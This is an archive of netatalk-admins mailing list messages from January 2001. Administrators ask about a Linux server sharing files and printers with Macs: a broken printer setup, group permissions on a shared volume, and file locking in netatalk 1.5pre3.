From netatalk.administrators-errors@umich.edu  Sun Jan 14 11:09:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA25899
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 14 Jan 2001 11:09:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA00703
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 14 Jan 2001 11:09:07 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA00695
	for netatalk.administrators-members@umich.edu; Sun, 14 Jan 2001 11:09:07 -0500 (EST)
Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com [194.25.134.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA00674
	for <netatalk-admins@umich.edu>; Sun, 14 Jan 2001 11:09:05 -0500 (EST)
Received: from fwd02.sul.t-online.com 
	by mailout04.sul.t-online.com with smtp 
	id 14HpiQ-0007rJ-03; Sun, 14 Jan 2001 17:09:10 +0100
Received: from thor.germania.lan (320085926067-0001@[217.88.67.69]) by fmrl02.sul.t-online.com
	with esmtp id 14HpiD-2GNBuyC; Sun, 14 Jan 2001 17:08:57 +0100
Received: by thor.germania.lan (Postfix, from userid 501)
	id AC2F25F72; Sun, 14 Jan 2001 17:08:49 +0100 (CET)
Received: from localhost (localhost [127.0.0.1])
	by thor.germania.lan (Postfix) with ESMTP id E16A25F71
	for <netatalk-admins@umich.edu>; Sun, 14 Jan 2001 17:08:48 +0100 (CET)
Date: Sun, 14 Jan 2001 17:08:47 +0100 (CET)
From: Claus Atzenbeck <claus.atzenbeck@nikocity.de>
To: netatalk mailing list <netatalk-admins@umich.edu>
Subject: printer doesn't work anymore
Message-ID: <Pine.LNX.4.21.0101141701560.20195-100000@thor.germania.lan>
Organization: Atzenbeck. Data structures & design
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: 320085926067-0001@t-dialin.net

It used to work, but now I am not able to print anymore.

I have netatalk-1.4.99-0.20001108mdk installed.
My Mac is running MacOS 8.6

My papd.conf has several entries like this:

HL-1250 (save 25%):\
        :pr=|/usr/bin/lpr -Ps25:op=claus:\
        :pd=file:/usr/share/cups/model/Brother/HL-1250-hl1250.ppd:

My netatalk.conf has the line:
AFPD_UAMLIST="-U uams_clrtxt.so"

I used to have a secure connection, but after I changed my password on
Linux, I didn't get a connection to my Linux box anymore, although I
deleted afppasswd file and created a new one.

Now, I can access my Linux box (but insecure), but the printer doesn't
work anymore.

The only thing what happens is that my Linux box gets an empty file to
my printer.

Please give me some help. What could be wrong?
Thanks so much!


From netatalk.administrators-errors@umich.edu  Mon Jan 15 03:40:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA20373
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 15 Jan 2001 03:40:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA24566
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 15 Jan 2001 03:40:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA24543
	for netatalk.administrators-members@umich.edu; Mon, 15 Jan 2001 03:40:10 -0500 (EST)
Received: from mail.imco.nl ([193.67.89.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA24494
	for <netatalk-admins@umich.edu>; Mon, 15 Jan 2001 03:40:09 -0500 (EST)
Received: from imco.nl (IDENT:centauri@menno.imco.nl [193.67.89.139])
	by mail.imco.nl (8.9.3/8.9.3) with ESMTP id JAA12180
	for <netatalk-admins@umich.edu>; Mon, 15 Jan 2001 09:38:47 +0100
Sender: centauri@mail.imco.nl
Message-ID: <3A630C2C.7FD42A6F@imco.nl>
Date: Mon, 15 Jan 2001 09:41:48 -0500
From: Menno Bockweg <menno@imco.nl>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: file / directory permissions
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hey all,

I've set up an netatalk server. The mac-users are organised in various
groups. Each group has it's own netatalk-volume.  Each user is also
member of a "main" group. The main group (all users together) have
access to another netatalk-volume. The permission of the directory of
this "main"-volume should be ok, the groupbits are set to "rws" (chmod
2770..). Everything seems te be okay... The members can create
directories in the directory-root of the volume, move / create files in
their own created directories...  but (!) they cannot create / move
files to the root directory. When they try to do so, they get an error
messages "You don't have the permissions to ... blah blah ...".  What's
happening here ??
They have the right permissions to create directories but not to create
files ?!?!?

Really hope anyone could help me out here,

Thanx!

Menno




From netatalk.administrators-errors@umich.edu  Mon Jan 15 03:56:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA20707
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 15 Jan 2001 03:56:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA02801
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 15 Jan 2001 03:56:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA02771
	for netatalk.administrators-members@umich.edu; Mon, 15 Jan 2001 03:56:46 -0500 (EST)
Received: from specialreserve.net (www3.reserve.co.uk [195.216.17.3])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA02710
	for <netatalk-admins@umich.edu>; Mon, 15 Jan 2001 03:56:44 -0500 (EST)
Received: from [192.168.1.57] (195.216.17.40) by specialreserve.net with ESMTP
 (Eudora Internet Mail Server 2.2.2); Mon, 15 Jan 2001 08:56:34 +0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 15 Jan 2001 08:56:35 +0000
Subject: Re: Basic permissions questions
From: Basil Hussain <basil.hussain@specialreserve.net>
To: Marc Miller <itlm019@mailbox.ucdavis.edu>,
        Scott Burnham <sburnham@creativeinkcorp.com>
CC: <netatalk-admins@umich.edu>
Message-ID: <B6886BC3.26E4%basil.hussain@specialreserve.net>
In-Reply-To: <Pine.GSO.4.21.0101121507130.20416-100000@logan.ucdavis.edu>
Mime-version: 1.0
Organization: Inter-Mediates Ltd.
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi,

>> 2. Is it normal for two users to be able to open the same document at the
>> same time? This leads to a "last person to save wins" situation which could
>> be sort of tragic.

Well, that's why people invented version control systems, like CVS and MS
SourceSafe... :)

> I saw another posting about file locking earlier today.  I've never had a
> problem with it.  If two users open up the same Word file on the server,
> for example, the second person to access it is asked if they want to open
> it read-only since the file is already in use by someone else.  *shrug*

It sounds to me like that's maybe just MS Word doing that itself somehow.
Through various versions of Netatalk installed on our servers I've never
seen this happen using something like BBEdit or Photoshop on shared files.

Regards,

------------------------------------------------
Basil Hussain (basil.hussain@specialreserve.net)


From netatalk.administrators-errors@umich.edu  Mon Jan 15 04:03:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA20968
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 15 Jan 2001 04:03:22 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA20320
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 15 Jan 2001 04:03:22 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA20290
	for netatalk.administrators-members@umich.edu; Mon, 15 Jan 2001 04:03:22 -0500 (EST)
Received: from postman2.zippel.de ([195.14.243.83])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA20209
	for <netatalk-admins@umich.edu>; Mon, 15 Jan 2001 04:03:20 -0500 (EST)
Received: by postman2.zippel.de with Internet Mail Service (5.5.2653.19)
	id <C0CBZXHM>; Mon, 15 Jan 2001 10:02:34 +0100
Message-ID: <1D499C82F0D4E141BAF3A30B3B197ECF74D5DB@postman2.zippel.de>
From: "Wahl, Thorsten" <twahl@zippel.de>
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: unsubscribe
Date: Mon, 15 Jan 2001 10:02:32 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id EAA20968

Dear anybody,
please unsubscribe me from the newsletter and infoforum, my account is
failure und loop the hole mails.
Please, it is urgent!

Thanks
Thorsten

> -----Ursprüngliche Nachricht-----
> Von:	Kevin M. Myer [SMTP:kevin_myer@iu13.k12.pa.us]
> Gesendet am:	Freitag, 12. Januar 2001 20:50
> An:	netatalk-devel@lists.sourceforge.net
> Cc:	netatalk-admins@umich.edu
> Betreff:	Sourceforge 1.5pre3 (and earlier) RPMS have broken flock
> support on Linux
> 
> Hello,
> 
> I posted a message a few weeks ago about a problem I was seeing here
> relating to file locking.  I was running a stock netatalk 1.5pre3
> installation from the Sourceforge RPM and it was brought to my attention
> by our users that there could be multiple read/write instances for any
> file on the server.  Upon investigation, I found that here was not a
> single lock being created.  I received no responses from the lists so I'm
> not sure if I'm an isolated case or if no one cares that their netatalk
> servers aren't locking :)
> 
> Anyway, after a lot of testing and trying to understand how the locking
> was working and a lot of recompiling, I figured out that the
> --enable-flock-locks option to configure was what was breaking the
> locking.  When I just let if use fcntl to do the locking, everything works
> perfectly.  
> 
> What this means is that at the very least, the Sourceforge 1.5pre3 (and
> probably earlier releases) is broken with respect to x86 Linux
> architectures.  I think I recall reading somewhere that flock was at one
> time broken under Linux so maybe its an operating system issue.  In any
> case, I'd recommend against using --enable-flock-locks if you're using x86
> Linux.
> 
> So far, I've reproduced the problem on every x86 machine I've tried.  I
> thought it might be related to the kernel on our SMP machine which has a
> large file system patch on it but a uniprocessor stock 2.2.16 kernel has
> the some locking problems.
> 
> If anyone could enlighten me as to whether this is a kernel issue or if
> its netatalk specific, it would help with further isolating the bug.
> 
> Thanks,
> 
> Kevin
> 
> -- 
> Kevin M. Myer
> Systems Administrator
> Lancaster-Lebanon Intermediate Unit 13
> (717)-560-6140

From netatalk.administrators-errors@umich.edu  Mon Jan 15 05:46:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA23054
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 15 Jan 2001 05:46:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA02047
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 15 Jan 2001 05:46:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA02012
	for netatalk.administrators-members@umich.edu; Mon, 15 Jan 2001 05:46:04 -0500 (EST)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA01955
	for <netatalk-admins@umich.edu>; Mon, 15 Jan 2001 05:46:03 -0500 (EST)
Received: (from www@localhost)
	by trinity.magpage.com (8.11.1/8.11.1) id f0FAk2b08476
	for netatalk-admins@umich.edu; Mon, 15 Jan 2001 05:46:02 -0500
X-Authentication-Warning: trinity.magpage.com: www set sender to ryan@mobiusnm.com using -f
To: netatalk-admins@umich.edu
Subject: Re: file / directory permissions
Message-ID: <979555562.3a62d4eaa76f2@webmail.magpage.com>
Date: Mon, 15 Jan 2001 05:46:02 -0500 (EST)
From: Ryan McBeth <ryan@mobiusnm.com>
References: <3A630C2C.7FD42A6F@imco.nl>
In-Reply-To: <3A630C2C.7FD42A6F@imco.nl>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.3

Menno,

You might not really want them to create files in the / directory.

If you take a look at the unix file system, there are some standard directories 
that will always be there, /etc, /usr, and so on.  You really don't want that 
file system filling up with junk, or allowing a user to overwrite 
your /etc/hosts file.

I would create a directory in / called "/opt".  This is one way of telling 
users that "This is the place for everything else."  If you want to get really 
creative, you could create "/opt/marketing" for marketing people, "/opt/devel" 
for developers and "/opt/general" for communication between the two.

Let me know how it turns out.

Ryan

Quoting Menno Bockweg <menno@imco.nl>:

> Hey all,
> 
> I've set up an netatalk server. The mac-users are organised in various
> groups. Each group has it's own netatalk-volume.  Each user is also
> member of a "main" group. The main group (all users together) have
> access to another netatalk-volume. The permission of the directory of
> this "main"-volume should be ok, the groupbits are set to "rws" (chmod
> 2770..). Everything seems te be okay... The members can create
> directories in the directory-root of the volume, move / create files in
> their own created directories...  but (!) they cannot create / move
> files to the root directory. When they try to do so, they get an error
> messages "You don't have the permissions to ... blah blah ...".  What's
> happening here ??
> They have the right permissions to create directories but not to create
> files ?!?!?
> 
> Really hope anyone could help me out here,
> 
> Thanx!
> 
> Menno
> 
> 
> 
> 



Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
If you want to achieve excellence, you can get there today. As of
this second, quit doing less-than-excellent work.
-Thomas Watson, founder of IBM

From netatalk.administrators-errors@umich.edu  Mon Jan 15 08:00:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA25508
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 15 Jan 2001 08:00:07 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA02862
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 15 Jan 2001 08:00:01 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA02850
	for netatalk.administrators-members@umich.edu; Mon, 15 Jan 2001 08:00:01 -0500 (EST)
Received: from mail.imco.nl ([193.67.89.10])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA02821
	for <netatalk-admins@umich.edu>; Mon, 15 Jan 2001 07:59:59 -0500 (EST)
Received: from imco.nl (IDENT:centauri@menno.imco.nl [193.67.89.139])
	by mail.imco.nl (8.9.3/8.9.3) with ESMTP id NAA17297
	for <netatalk-admins@umich.edu>; Mon, 15 Jan 2001 13:58:45 +0100
Message-ID: <3A63491C.9090404@imco.nl>
Date: Mon, 15 Jan 2001 14:01:48 -0500
From: Menno Bockweg <menno@imco.nl>
User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.16-22 i686; en-US; m18) Gecko/20001107 Netscape6/6.0
X-Accept-Language: en
MIME-Version: 1.0
CC: netatalk-admins@umich.edu
Subject: Re: file / directory permissions
References: <3A630C2C.7FD42A6F@imco.nl> <979555562.3a62d4eaa76f2@webmail.magpage.com>
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html><head></head><body><pre wrap="">What I actually meant with the "directory-root of the volume" is the path to the netatalk-volume. This volume is locate at /data/transfer. The permissions of the transfer-directory are set to :<br><br> drwxrws---   16 transfer_user transfer_group     4096 Jan 15 14:50 transfer<br><br>Transfer_user is a user of the transfer_group. Every member of the transfer_group should be able to create / move files to this transfer directory... But this is where things go wrong. The users of the transfer_group can create / modify directories in the transfer directory, but they cannot create / move files into the transfer directory...<br><br>I'm puzzled.. ;-)<br></pre>
<br>
<br>
Ryan McBeth wrote:<br>
<blockquote type="cite" cite="mid:979555562.3a62d4eaa76f2@webmail.magpage.com"><pre wrap="">Menno,<br><br>You might not really want them to create files in the / directory.<br><br>If you take a look at the unix file system, there are some standard directories <br>that will always be there, /etc, /usr, and so on.  You really don't want that <br>file system filling up with junk, or allowing a user to overwrite <br>your /etc/hosts file.<br><br>I would create a directory in / called "/opt".  This is one way of telling <br>users that "This is the place for everything else."  If you want to get really <br>creative, you could create "/opt/marketing" for marketing people, "/opt/devel" <br>for developers and "/opt/general" for communication between the two.<br><br>Let me know how it turns out.<br><br>Ryan<br><br>Quoting Menno Bockweg <a class="moz-txt-link-rfc2396E" href="mailto:menno@imco.nl">&lt;menno@imco.nl&gt;</a>:<br><br></pre>
  <blockquote type="cite"><pre wrap="">Hey all,<br><br>I've set up an netatalk server. The mac-users are organised in various<br>groups. Each group has it's own netatalk-volume.  Each user is also<br>member of a "main" group. The main group (all users together) have<br>access to another netatalk-volume. The permission of the directory of<br>this "main"-volume should be ok, the groupbits are set to "rws" (chmod<br>2770..). Everything seems te be okay... The members can create<br>directories in the directory-root of the volume, move / create files in<br>their own created directories...  but (!) they cannot create / move<br>files to the root directory. When they try to do so, they get an error<br>messages "You don't have the permissions to ... blah blah ...".  What's<br>happening here ??<br>They have the right permissions to create directories but not to create<br>files ?!?!?<br><br>Really hope anyone could help me out here,<br><br>Thanx!<br><br>Menno<br><br><br><br><br></pre></b!
!
lockquote>
    <pre wrap=""><!----><br><br><br>Ryan McBeth<br>Systems Administrator, Mobius New Media<br>Voice: (302) 475-9880 x11<br>FAX: (302) 475-9894<br><a class="moz-txt-link-abbreviated" href="http://www.mobiusnm.com">www.mobiusnm.com</a><br>If you want to achieve excellence, you can get there today. As of<br>this second, quit doing less-than-excellent work.<br>-Thomas Watson, founder of IBM<br><br><br></pre>
    </blockquote>
    <br>
</body></html>


From netatalk.administrators-errors@umich.edu  Mon Jan 15 08:24:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA26074
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 15 Jan 2001 08:24:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA06211
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 15 Jan 2001 08:24:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA06181
	for netatalk.administrators-members@umich.edu; Mon, 15 Jan 2001 08:24:08 -0500 (EST)
Received: from w068.z064000114.bwi-md.dsl.cnc.net (w068.z064000114.bwi-md.dsl.cnc.net [64.0.114.68])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id IAA06098
	for <netatalk-admins@umich.edu>; Mon, 15 Jan 2001 08:24:07 -0500 (EST)
Received: (qmail 8705 invoked from network); 15 Jan 2001 14:33:31 -0000
Received: from w070.z064000114.bwi-md.dsl.cnc.net (HELO rick2000) (64.0.114.70)
  by w068.z064000114.bwi-md.dsl.cnc.net with SMTP; 15 Jan 2001 14:33:31 -0000
From: "Rick Bestany" <rick@rickbestany.net>
To: <netatalk-admins@umich.edu>
Subject: RE: file / directory permissions
Date: Mon, 15 Jan 2001 08:23:31 -0500
Message-ID: <MEEIICJNCEOBAJHMMNFAGEOHELAA.rick@rickbestany.net>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_007F_01C07ECC.71D2EA50"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <3A63491C.9090404@imco.nl>
Importance: Normal

This is a multi-part message in MIME format.

------=_NextPart_000_007F_01C07ECC.71D2EA50
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

I am having the same problem.

If you figure it out, please post it to the list.
  -----Original Message-----
  From: Menno Bockweg [mailto:menno@imco.nl]
  Sent: Monday, January 15, 2001 2:02 PM
  To: netatalk-admins@umich.edu
  Cc: netatalk-admins@umich.edu
  Subject: Re: file / directory permissions


What I actually meant with the "directory-root of the volume" is the path to
the netatalk-volume. This volume is locate at /data/transfer. The
permissions of the transfer-directory are set to : drwxrws---   16
transfer_user transfer_group     4096 Jan 15 14:50 transferTransfer_user is
a user of the transfer_group. Every member of the transfer_group should be
able to create / move files to this transfer directory... But this is where
things go wrong. The users of the transfer_group can create / modify
directories in the transfer directory, but they cannot create / move files
into the transfer directory...I'm puzzled.. ;-)


  Ryan McBeth wrote:

Menno,You might not really want them to create files in the / directory.If
you take a look at the unix file system, there are some standard directories
that will always be there, /etc, /usr, and so on.  You really don't want
that file system filling up with junk, or allowing a user to overwrite your
/etc/hosts file.I would create a directory in / called "/opt".  This is one
way of telling users that "This is the place for everything else."  If you
want to get really creative, you could create "/opt/marketing" for marketing
people, "/opt/devel" for developers and "/opt/general" for communication
between the two.Let me know how it turns out.RyanQuoting Menno Bockweg
<menno@imco.nl>:
Hey all,I've set up an netatalk server. The mac-users are organised in
variousgroups. Each group has it's own netatalk-volume.  Each user is
alsomember of a "main" group. The main group (all users together) haveaccess
to another netatalk-volume. The permission of the directory ofthis
"main"-volume should be ok, the groupbits are set to "rws" (chmod2770..).
Everything seems te be okay... The members can createdirectories in the
directory-root of the volume, move / create files intheir own created
directories...  but (!) they cannot create / movefiles to the root
directory. When they try to do so, they get an errormessages "You don't have
the permissions to ... blah blah ...".  What'shappening here ??They have the
right permissions to create directories but not to createfiles ?!?!?Really
hope anyone could help me out here,Thanx!Menno
Ryan McBethSystems Administrator, Mobius New MediaVoice: (302) 475-9880
x11FAX: (302) 475-9894www.mobiusnm.comIf you want to achieve excellence, you
can get there today. As ofthis second, quit doing less-than-excellent
work.-Thomas Watson, founder of IBM



------=_NextPart_000_007F_01C07ECC.71D2EA50
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<META content=3D"MSHTML 5.50.4611.1300" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D043532113-15012001><FONT face=3DArial color=3D#0000ff =
size=3D2>I am=20
having the same problem.</FONT></SPAN></DIV>
<DIV><SPAN class=3D043532113-15012001><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D043532113-15012001><FONT face=3DArial color=3D#0000ff =
size=3D2>If you=20
figure it out, please post it to the list.</FONT></SPAN></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid; MARGIN-RIGHT: 0px">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> Menno Bockweg=20
  [mailto:menno@imco.nl]<BR><B>Sent:</B> Monday, January 15, 2001 2:02=20
  PM<BR><B>To:</B> netatalk-admins@umich.edu<BR><B>Cc:</B>=20
  netatalk-admins@umich.edu<BR><B>Subject:</B> Re: file / directory=20
  permissions<BR><BR></FONT></DIV><PRE wrap=3D"">What I actually meant =
with the "directory-root of the volume" is the path to the =
netatalk-volume. This volume is locate at /data/transfer. The =
permissions of the transfer-directory are set to :<BR><BR> drwxrws---   =
16 transfer_user transfer_group     4096 Jan 15 14:50 =
transfer<BR><BR>Transfer_user is a user of the transfer_group. Every =
member of the transfer_group should be able to create / move files to =
this transfer directory... But this is where things go wrong. The users =
of the transfer_group can create / modify directories in the transfer =
directory, but they cannot create / move files into the transfer =
directory...<BR><BR>I'm puzzled.. ;-)<BR></PRE><BR><BR>Ryan=20
  McBeth wrote:<BR>
  <BLOCKQUOTE cite=3D"mid:979555562.3a62d4eaa76f2@webmail.magpage.com"=20
type=3D"cite"><PRE wrap=3D"">Menno,<BR><BR>You might not really want =
them to create files in the / directory.<BR><BR>If you take a look at =
the unix file system, there are some standard directories <BR>that will =
always be there, /etc, /usr, and so on.  You really don't want that =
<BR>file system filling up with junk, or allowing a user to overwrite =
<BR>your /etc/hosts file.<BR><BR>I would create a directory in / called =
"/opt".  This is one way of telling <BR>users that "This is the place =
for everything else."  If you want to get really <BR>creative, you could =
create "/opt/marketing" for marketing people, "/opt/devel" <BR>for =
developers and "/opt/general" for communication between the =
two.<BR><BR>Let me know how it turns out.<BR><BR>Ryan<BR><BR>Quoting =
Menno Bockweg <A class=3Dmoz-txt-link-rfc2396E =
href=3D"mailto:menno@imco.nl">&lt;menno@imco.nl&gt;</A>:<BR><BR></PRE>
    <BLOCKQUOTE type=3D"cite"><PRE wrap=3D"">Hey all,<BR><BR>I've set up =
an netatalk server. The mac-users are organised in various<BR>groups. =
Each group has it's own netatalk-volume.  Each user is also<BR>member of =
a "main" group. The main group (all users together) have<BR>access to =
another netatalk-volume. The permission of the directory of<BR>this =
"main"-volume should be ok, the groupbits are set to "rws" =
(chmod<BR>2770..). Everything seems te be okay... The members can =
create<BR>directories in the directory-root of the volume, move / create =
files in<BR>their own created directories...  but (!) they cannot create =
/ move<BR>files to the root directory. When they try to do so, they get =
an error<BR>messages "You don't have the permissions to ... blah blah =
...".  What's<BR>happening here ??<BR>They have the right permissions to =
create directories but not to create<BR>files ?!?!?<BR><BR>Really hope =
anyone could help me out =
here,<BR><BR>Thanx!<BR><BR>Menno<BR><BR><BR><BR><BR></PRE></B!=20
      lockquote !><PRE wrap=3D""><!----><BR><BR><BR>Ryan =
McBeth<BR>Systems Administrator, Mobius New Media<BR>Voice: (302) =
475-9880 x11<BR>FAX: (302) 475-9894<BR><A =
class=3Dmoz-txt-link-abbreviated =
href=3D"http://www.mobiusnm.com">www.mobiusnm.com</A><BR>If you want to =
achieve excellence, you can get there today. As of<BR>this second, quit =
doing less-than-excellent work.<BR>-Thomas Watson, founder of =
IBM<BR><BR><BR></PRE></BLOCKQUOTE><BR></BLOCKQUOTE></BLOCKQUOTE></BODY></=
HTML>

------=_NextPart_000_007F_01C07ECC.71D2EA50--


From netatalk.administrators-errors@umich.edu  Mon Jan 15 08:33:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA26345
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 15 Jan 2001 08:33:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA27539
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 15 Jan 2001 08:33:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA27521
	for netatalk.administrators-members@umich.edu; Mon, 15 Jan 2001 08:33:28 -0500 (EST)
Received: from smtp8.dti.ne.jp (smtp8.dti.ne.jp [202.216.228.43])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA27226
	for <netatalk-admins@umich.edu>; Mon, 15 Jan 2001 08:33:22 -0500 (EST)
Received: from smtp1.irori.org (PPP245.tokyo-ip.dti.ne.jp [210.170.192.245]) by smtp8.dti.ne.jp (8.9.3/3.7W) with ESMTP id WAA29238; Mon, 15 Jan 2001 22:33:14 +0900 (JST)
Received: by smtp1.irori.org (1.12) with ESMTP
	id f0FDXDZ08549;
	Mon, 15 Jan 2001 22:33:14 +0900
Date: Mon, 15 Jan 2001 22:33:13 +0900
Message-ID: <yf1lmsdq6sm.wl@mail.t3.rim.or.jp>
From: "HIROSE, Masaaki" <hirose31@t3.rim.or.jp>
To: Basil Hussain <basil.hussain@specialreserve.net>
Cc: Marc Miller <itlm019@mailbox.ucdavis.edu>,
        Scott Burnham <sburnham@creativeinkcorp.com>,
        netatalk-admins@umich.edu
Subject: Re: Basic permissions questions
In-Reply-To: <B6886BC3.26E4%basil.hussain@specialreserve.net>
References: <Pine.GSO.4.21.0101121507130.20416-100000@logan.ucdavis.edu>
	<B6886BC3.26E4%basil.hussain@specialreserve.net>
User-Agent: Wanderlust/2.5.4 (Smooth) SEMI/1.14.1
 (=?ISO-2022-JP?B?GyRCMkMybDI5QHQbKEI=?=) FLIM/1.14.1
 (=?ISO-2022-JP?B?GyRCSCxMWhsoQg==?=) APEL/10.3 Emacs/21.0.94
